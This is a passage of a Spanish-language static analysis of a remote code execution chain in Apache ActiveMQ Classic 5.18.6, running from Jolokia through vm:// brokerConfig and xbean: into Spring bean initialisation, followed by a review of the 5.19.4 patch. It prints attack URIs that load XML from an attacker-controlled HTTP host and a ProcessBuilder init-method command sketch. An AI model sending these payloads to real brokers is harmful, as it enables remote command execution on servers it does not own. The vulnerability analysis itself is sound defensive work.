remoteTransport = TransportFactory.connect(connectUri);
Para static:(...), SimpleDiscoveryAgent.start() emite inmediatamente cada servicio configurado:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
taskRunner = new TaskRunnerFactory();
taskRunner.init();
running.set(true);
for (int i = 0; i < services.length; i++) {
listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
}
}
`DiscoveryNetworkConnector.onServiceAdd()` luego se conecta a la URI interior controlada por el atacante.
---
### Flujo de creación del broker
La creación del broker es gestionada por:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java
public static BrokerService createBroker(URI brokerURI) throws Exception {
return createBroker(brokerURI, false);
}
public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception {
if (brokerURI.getScheme() == null) {
throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI);
}
BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme());
BrokerService broker = handler.createBroker(brokerURI);
if (startBroker) {
broker.start();
}
return broker;
}
La búsqueda del handler se basa en el esquema:```java private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER = new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException { try { return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type); } catch (Throwable e) { throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e); } }
Para las URIs `xbean:`, el descriptor de servicio se asigna a `XBeanBrokerFactory`:```properties
# activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/broker/xbean
class=org.apache.activemq.xbean.XBeanBrokerFactory
Flujo de llamadas estático exacto:```text BrokerView.addNetworkConnector(String) -> BrokerService.addNetworkConnector(String) -> BrokerService.addNetworkConnector(URI) -> DiscoveryNetworkConnector.(URI) -> DiscoveryNetworkConnector.handleStart() -> SimpleDiscoveryAgent.start() -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent) -> TransportFactory.connect(URI) -> VMTransportFactory.doConnect(URI) -> VMTransportFactory.doCompositeConnect(URI) -> BrokerFactory.createBroker(URI) -> BrokerFactory.createBroker(URI, boolean) -> XBeanBrokerFactory.createBroker(URI)
La transición clave es:```text
vm://evil?brokerConfig=xbean:http://attacker/evil.xml
a:```text BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))
### Análisis de Spring XBean
La fábrica XBean relevante es:```java
// activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java
public class XBeanBrokerFactory implements BrokerFactoryHandler
createBroker() extrae la parte específica del esquema de la URI xbean: y crea un contexto de aplicación Spring antes de comprobar si contiene un broker:```java
public BrokerService createBroker(URI config) throws Exception {
String uri = config.getSchemeSpecificPart();
if (uri.lastIndexOf('?') != -1) {
IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
uri = uri.substring(0, uri.lastIndexOf('?'));
}
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
...
}
El sumidero peligroso es `createApplicationContext()`:```java
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri);
LOG.debug("Using " + resource + " from " + uri);
try {
return new ResourceXmlApplicationContext(resource) {
@Override
protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) {
reader.setValidating(isValidate());
}
};
} catch (FatalBeanException errorToLog) {
LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog);
throw errorToLog;
}
}
Los recursos remotos se aceptan mediante Utils.resourceFromString():```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
Resource resource;
File file = new File(uri);
if (file.exists()) {
resource = new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
try {
resource = new UrlResource(ResourceUtils.getURL(uri));
} catch (FileNotFoundException e) {
MalformedURLException malformedURLException = new MalformedURLException(uri);
malformedURLException.initCause(e);
throw malformedURLException;
}
} else {
resource = new ClassPathResource(uri);
}
return resource;
}
Por lo tanto:```text
xbean:http://192.168.1.32:9999/evil.xml
se reduce a:```text http://192.168.1.32:9999/evil.xml
y cargado como un `UrlResource` de Spring.
La llamada a `reader.setValidating(isValidate())` solo controla el modo de validación XML en el `XmlBeanDefinitionReader` de Spring. No restringe las clases de beans, los argumentos de constructor, los métodos de ciclo de vida ni los recursos URL remotos.
---
### Análisis de Instanciación de Beans de Spring
ActiveMQ 5.18.6 declara:```xml
<spring-version>5.3.39</spring-version>
<xbean-version>4.25</xbean-version>
En XBean 4.25, ResourceXmlApplicationContext llama a refresh() desde su constructor:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
super();
this.xmlPreprocessors = xmlPreprocessors;
this.resource = resource;
refresh();
}
Carga las definiciones de beans desde el recurso proporcionado:```java
protected void loadBeanDefinitions(XmlBeanDefinitionReader reader)
throws BeansException, IOException {
reader.loadBeanDefinitions(resource);
}
El AbstractApplicationContext.refresh() de Spring inicializa entonces la fábrica de beans e instancia los beans singleton no perezosos:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);
`finishBeanFactoryInitialization()` llama:```java
beanFactory.preInstantiateSingletons();
DefaultListableBeanFactory.preInstantiateSingletons() crea cada bean singleton, no abstracto y no perezoso:```java
for (String beanName : beanNames) {
RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
...
getBean(beanName);
}
}
Durante la inicialización de beans, Spring invoca métodos de inicialización personalizados:```java
// org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java
protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) {
...
invokeInitMethods(beanName, wrappedBean, mbd);
...
}
El método init personalizado se resuelve a partir de la definición del bean:```java String initMethodName = mbd.getInitMethodName(); if (StringUtils.hasLength(initMethodName) && !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) && !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) { invokeCustomInitMethod(beanName, bean, mbd); }
`invokeCustomInitMethod()` invoca el método mediante reflexión:```java
ReflectionUtils.makeAccessible(methodToInvoke);
methodToInvoke.invoke(bean);
Un bean Spring XML malicioso como:```xml sh -c touch /tmp/blahblah.txt
provoca el siguiente comportamiento:```text
ResourceXmlApplicationContext constructor
-> refresh()
-> XmlBeanDefinitionReader.loadBeanDefinitions()
-> DefaultListableBeanFactory.preInstantiateSingletons()
-> getBean("exec")
-> instantiate java.lang.ProcessBuilder
-> initializeBean()
-> invokeInitMethods()
-> invokeCustomInitMethod("start")
-> ProcessBuilder.start()
Esto ocurre antes de que XBeanBrokerFactory.createBroker() valide el contexto resultante buscando un bean BrokerService:```java
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null; try { broker = (BrokerService)context.getBean("broker"); } catch (BeansException e) { }
if (broker == null) { String[] names = context.getBeanNamesForType(BrokerService.class); ... }
if (broker == null) { throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config); }
La validación del broker ocurre después del refresco del contexto de Spring. Como resultado, una configuración puede ejecutar métodos init arbitrarios y aun así ser rechazada posteriormente como una configuración de broker inválida.
---
### Análisis de la causa raíz
La causa raíz es un puente arquitectónico inseguro entre una operación de gestión invocable de forma remota y los mecanismos locales de arranque del broker de confianza.
El diseño vulnerable tiene estas propiedades:
- Jolokia expone operaciones JMX `exec` para los MBeans de gestión del broker de ActiveMQ.
- `BrokerView.addNetworkConnector(String)` acepta entrada URI controlada por el atacante.
- La URI se pasa al código de redes de ActiveMQ sin una restricción en el plano de gestión sobre los esquemas de transporte peligrosos.
- El descubrimiento `static:(...)` hace que la URI incluida se conecte automáticamente cuando se inicia el conector de red.
- El transporte `vm://` no es solo un transporte dentro de la VM; también admite la creación automática de un broker cuando el broker VM nombrado está ausente.
- `VMTransportFactory` trata `brokerConfig` como una URI de fábrica de brokers y lo reenvía a `BrokerFactory.createBroker()`.
- `BrokerFactory` admite URIs `xbean:` a través de `XBeanBrokerFactory`.
- `XBeanBrokerFactory` acepta recursos URL y construye un `ResourceXmlApplicationContext` de Spring.
- Spring instancia con avidez los beans singleton e invoca métodos init personalizados durante el refresco del contexto.
- ActiveMQ comprueba si el contexto contiene un `BrokerService` válido solo después de que Spring ya haya inicializado el contexto.
Esto no es simplemente "validación de entrada inadecuada" de forma aislada. El comportamiento vulnerable se debe a que se expone un intérprete de URIs capaz de configurar a través de una operación JMX en tiempo de ejecución y se permite que ese intérprete alcance la ejecución del ciclo de vida de los beans de Spring.
El fallo preciso es que la API de gestión trata a `discoveryAddress` como una dirección de conector, pero la pila de transporte aguas abajo lo trata como configuración ejecutable. En la ruta de explotación, la cadena se evalúa como:```text
network connector URI
-> discovery service URI
-> VM transport URI
-> broker creation URI
-> XBean Spring resource URI
-> Spring bean definitions
-> Java object lifecycle methods
La validación ocurre demasiado tarde porque la única validación de configuración del broker en XBeanBrokerFactory sucede después de:```java
new ResourceXmlApplicationContext(resource)
y ese constructor realiza:```text
refresh() -> preInstantiateSingletons() -> init-method invocation
Para cuando ActiveMQ determina que el XML no tiene un BrokerService válido, los beans de Spring controlados por el atacante ya pueden haberse ejecutado.
El diff relevante fue revisado con:```bash git diff activemq-5.18.6..activemq-5.19.4
El cambio relevante para la seguridad está en:```text
activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
En 5.18.6, addNetworkConnector() reenviaba directamente la cadena:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
...
connector.start();
return connector.getName();
}
En 5.19.4, se añadió validación antes de llamar a `BrokerService`:```diff
public String addNetworkConnector(String discoveryAddress) throws Exception {
+ // Verify VM transport is not used
+ validateAllowedUrl(discoveryAddress);
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
La misma validación se añadió a addConnector():```diff
public String addConnector(String discoveryAddress) throws Exception {
El validador rechaza los esquemas de transporte `vm`:```java
private static void validateAllowedUrl(String uriString) throws URISyntaxException {
validateAllowedUri(new URI(uriString), 0);
}
// Validate the URI does not contain VM transport
private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException {
// Don't allow more than 5 nested URIs to prevent blowing the stack
if (depth > 5) {
throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs");
}
// First check the main URI scheme
validateAllowedScheme(uri.getScheme());
// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
URISupport.CompositeData data = URISupport.parseComposite(uri);
depth++;
for (URI component : data.getComponents()) {
if (URISupport.isCompositeURI(uri)) {
validateAllowedUri(component, depth);
} else {
validateAllowedScheme(uri.getScheme());
}
}
}
}
// We don't allow VM transport scheme to be used
private static void validateAllowedScheme(String scheme) {
if (scheme.equals("vm")) {
throw new IllegalArgumentException("VM scheme is not allowed");
}
}
La ruta de ejecución parcheada se convierte en:```text Jolokia exec -> BrokerView.addNetworkConnector(String) -> validateAllowedUrl(String) -> validateAllowedUri(URI) -> validateAllowedScheme("vm") -> IllegalArgumentException("VM scheme is not allowed")
Esto bloquea el exploit antes de que la solicitud llegue a:```text
BrokerService.addNetworkConnector()
DiscoveryNetworkConnector.start()
TransportFactory.connect()
VMTransportFactory.doCompositeConnect()
BrokerFactory.createBroker()
XBeanBrokerFactory.createApplicationContext()
ResourceXmlApplicationContext.refresh()
El parche no elimina el soporte del transporte VM de forma global. Restringe el uso de vm:// a través de los métodos de creación de conectores de BrokerView orientados a JMX. Las rutas de código internas o de confianza que usan el transporte VM siguen existiendo.
No se realizó ningún cambio relevante para la seguridad en VMTransportFactory.doCompositeConnect() entre 5.18.6 y 5.19.4. El comportamiento de brokerConfig permanece:```java
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);
No se realizó ningún cambio relevante para la seguridad en `XBeanBrokerFactory.createApplicationContext()` en este diff. Los recursos de URL remota y el comportamiento de Spring `ResourceXmlApplicationContext` siguen estando disponibles para la carga de configuraciones de broker de confianza.
`BrokerFactory` cambió de un `FactoryFinder` sin tipo a un `FactoryFinder<BrokerFactoryHandler>` con tipo:```diff
- private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
- new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
+ private static final FactoryFinder<BrokerFactoryHandler> BROKER_FACTORY_HANDLER_FINDER
+ = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
+ BrokerFactoryHandler.class, null);
Esto es una limpieza de seguridad de tipos, no la mitigación del RCE. El despacho basado en esquemas hacia XBeanBrokerFactory permanece.
BrokerService incorporó comprobaciones de isAutoStart() para el arranque del conector en algunas rutas:```diff
connector.start();
Esta no es la corrección principal para la ruta de Jolokia a RCE. La mitigación principal es el rechazo previo al despacho de `vm://` en `BrokerView`.
Resumen del comportamiento del parche:
- 5.18.6: `BrokerView.addNetworkConnector()` acepta `static:(vm://...?brokerConfig=xbean:http://...)` y lo pasa aguas abajo.
- 5.19.4: `BrokerView.addNetworkConnector()` valida la URI proporcionada antes de la creación del conector y rechaza el uso anidado de `vm://`.
- 5.18.6: `VMTransportFactory` puede consumir `brokerConfig` controlado por el atacante y alcanzado desde la ruta JMX.
- 5.19.4: `VMTransportFactory` sigue admitiendo `brokerConfig`, pero la ruta JMX expuesta está bloqueada antes de la resolución del transporte VM.
---
### Conclusión del Análisis Estático
La ruta de código vulnerable exacta en ActiveMQ Classic 5.18.6 es:```text
HTTP POST /api/jolokia/
-> Jolokia exec operation
-> org.apache.activemq:type=Broker,brokerName=<name>
-> BrokerView.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(URI)
-> DiscoveryNetworkConnector.setUri(URI)
-> DiscoveryAgentFactory.createDiscoveryAgent(URI)
-> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI)
-> BrokerView.addNetworkConnector(): connector.start()
-> DiscoveryNetworkConnector.handleStart()
-> SimpleDiscoveryAgent.start()
-> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
-> TransportFactory.connect(URI)
-> VMTransportFactory.doConnect(URI)
-> VMTransportFactory.doCompositeConnect(URI)
-> BrokerFactory.createBroker(URI)
-> XBeanBrokerFactory.createBroker(URI)
-> XBeanBrokerFactory.createApplicationContext(String)
-> Utils.resourceFromString(String)
-> new ResourceXmlApplicationContext(Resource)
-> XmlBeanDefinitionReader.loadBeanDefinitions(Resource)
-> AbstractApplicationContext.refresh()
-> DefaultListableBeanFactory.preInstantiateSingletons()
-> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod()
-> ProcessBuilder.start()
La explotación es posible porque ActiveMQ expone una operación de gestión que acepta una URI de conector, pero la implementación de transporte subyacente puede interpretar esa URI como configuración de creación del broker. El parámetro brokerConfig cruza desde la lógica de conexión de transporte hacia la lógica de fábrica del broker. Con un valor xbean:, cruza de nuevo hacia el procesamiento XML de Spring.
La primitiva de ejecución de Spring no es un fallo de deserialización independiente. Es un comportamiento normal del ciclo de vida de Spring: un bean singleton no diferido se instancia durante el refresco del contexto, y se invoca su init-method configurado. Por lo tanto, un bean java.lang.ProcessBuilder con init-method="start" ejecuta un proceso durante la inicialización del contexto de la aplicación.
El fallo de validación es un defecto de orden. ActiveMQ valida si la configuración XBean contiene un BrokerService utilizable solo después de que ResourceXmlApplicationContext ya haya cargado el XML e inicializado los beans singleton. El rechazo de la configuración del broker después del refresco no deshace los efectos secundarios de los métodos del ciclo de vida de los beans.
El parche 5.19.4 mitiga esta ruta específica añadiendo validación de URI en BrokerView antes de la creación del conector y rechazando el uso del transporte vm:// desde la superficie de gestión JMX. El parche bloquea la ruta expuesta a VMTransportFactory.doCompositeConnect(); no elimina brokerConfig, el soporte de xbean:, ni la carga de XBean de Spring desde rutas de configuración internas de confianza.
| Función | Abuso |
|---|
addNetworkConnector() | Aceptar URI controlada por el atacante |
vm:// transport | Activar la creación dinámica del broker |
brokerConfig= | Cargar configuración arbitraria del broker |
xbean: | Invocar el cargador XML de Spring |
| Remote HTTP URL | Obtener XML controlado por el atacante |